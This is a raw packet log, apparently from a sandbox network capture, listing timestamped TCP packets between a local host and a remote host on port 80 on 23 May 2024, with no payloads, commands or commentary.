May 23, 2024 23:33:09.337342024 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.337349892 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.337376118 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.337385893 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.337410927 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.337419987 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.337445021 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.337474108 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.337477922 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.337482929 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.337512016 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.337518930 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.337546110 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.337558031 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.337590933 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.338145971 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.338180065 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.338212967 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.338242054 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.338246107 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.338274956 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.338289022 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.338301897 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.338323116 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.338356018 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.338367939 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.338388920 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.338399887 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.338423967 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.338430882 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.338458061 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.338466883 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.338500023 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.339097023 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.339129925 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.339159012 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.339163065 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.339168072 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.339196920 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.339205980 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.339231014 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.339242935 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.339265108 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.339272022 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.339298964 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.339308977 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.339332104 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.339340925 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.339365959 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.339381933 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.339400053 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.339404106 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.339447021 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.340055943 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.340086937 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.340104103 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.340116978 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.340126038 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.340164900 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.340174913 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.340195894 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.340207100 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.340228081 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.340240002 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.340257883 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.340279102 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.340300083 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.344189882 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.344221115 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.344284058 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.344727993 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.344814062 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.344862938 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.344870090 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.344870090 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.344912052 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.344935894 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.344984055 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.345076084 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.345124960 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.345168114 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.345199108 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.345215082 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.345228910 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.345242977 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.345268965 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.345397949 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.345428944 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.345444918 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.345458031 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.345469952 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.345490932 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.345500946 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.345532894 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.345660925 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.345690966 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.345720053 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.345722914 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.345735073 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.345896959 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.345927954 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.345946074 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.345957994 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.345968962 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.345988035 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.345999002 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.346029997 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.346270084 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.346301079 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.346329927 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.346355915 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.346359968 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.346368074 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.346390963 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.346405029 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.346421957 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.346431017 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.346451998 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.346462965 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.346498013 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.347409964 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.347457886 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.347462893 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.347487926 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.347503901 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.347524881 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.347532988 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.347567081 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.347676992 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.347752094 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.347803116 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.347862959 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.347893953 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.347909927 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.347923994 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.347934008 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.347966909 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.348155022 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.348185062 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.348212957 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.348212957 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.348223925 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.348242998 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.348253012 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.348273993 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.348285913 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.348332882 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.349507093 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.349535942 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.349589109 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.425436974 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.425466061 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.425620079 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.425620079 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.425667048 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.425683975 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.425700903 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.425713062 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.425723076 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.425746918 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.425851107 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.425899982 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.426003933 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.426038980 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.426055908 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.426084995 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.426100016 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.426143885 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.426521063 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.426573038 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.426606894 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.426626921 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.426640034 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.426650047 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.426673889 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.426681042 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.426712990 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.426976919 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.427010059 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.427042007 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.427061081 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.427074909 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.427079916 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.427108049 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.427115917 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.427144051 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.427145958 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.427176952 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.427182913 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.427210093 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.427227020 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.427239895 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.427251101 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.427282095 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.427755117 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.427788973 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.427807093 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.427820921 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.427826881 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.427855015 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.427861929 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.427889109 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.427897930 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.427922010 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.427932024 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.427954912 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.427962065 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.427990913 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.428004026 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.428033113 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.428323984 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.428358078 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.428370953 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.428390980 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.428395033 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.428425074 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.428428888 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.428457975 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.428462982 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.428491116 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.428497076 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.428523064 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.428529024 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.428563118 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.428905964 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.428935051 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.428956032 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.428966999 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.428978920 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.428999901 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.429008961 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.429033041 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.429039955 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.429065943 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.429075003 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.429107904 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.429472923 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.429507017 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.429523945 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.429539919 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.429549932 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.429574013 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.429580927 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.429606915 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.429614067 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.429640055 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.429646969 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.429672956 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.429683924 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.429717064 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.429749966 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.429769039 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.429781914 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.429790974 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.429826021 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.430342913 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.430358887 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.430387974 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.430404902 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.430676937 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.430694103 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.430707932 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.430721998 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.430735111 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.430736065 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.430749893 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.430754900 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.430763960 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.430764914 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.430780888 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.430789948 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.430795908 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.430800915 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.430810928 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.430818081 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.430825949 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.430829048 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.430852890 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.430861950 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.431734085 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.431749105 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.431761980 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.431776047 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.431790113 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.431792974 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.431803942 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.431818008 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.431818008 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.431828022 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.431833982 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.431848049 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.431859016 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.431863070 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.431886911 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.431898117 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.435391903 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.435405970 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.435427904 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.435441971 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.435456038 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.435468912 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.435482025 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.435496092 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.435509920 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.435523987 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.435537100 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.435544968 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.435544968 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.435544968 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.435544968 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.435544968 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.435550928 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.435565948 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.435580969 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.435583115 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.435594082 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.435595036 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.435609102 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.435622931 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.435623884 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.435636997 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.435638905 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.435653925 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.435667038 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.435667038 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.435683012 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.435695887 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.435698032 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.435710907 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.435739994 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.436080933 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.436124086 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.436130047 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.436162949 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.436206102 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.436250925 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.436315060 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.436330080 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.436361074 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.436377048 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.442214012 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.442246914 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.442373991 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.442373991 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.442570925 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.442603111 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.442622900 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.442641020 CEST	49733	80	192.168.2.4	185.172.128.82
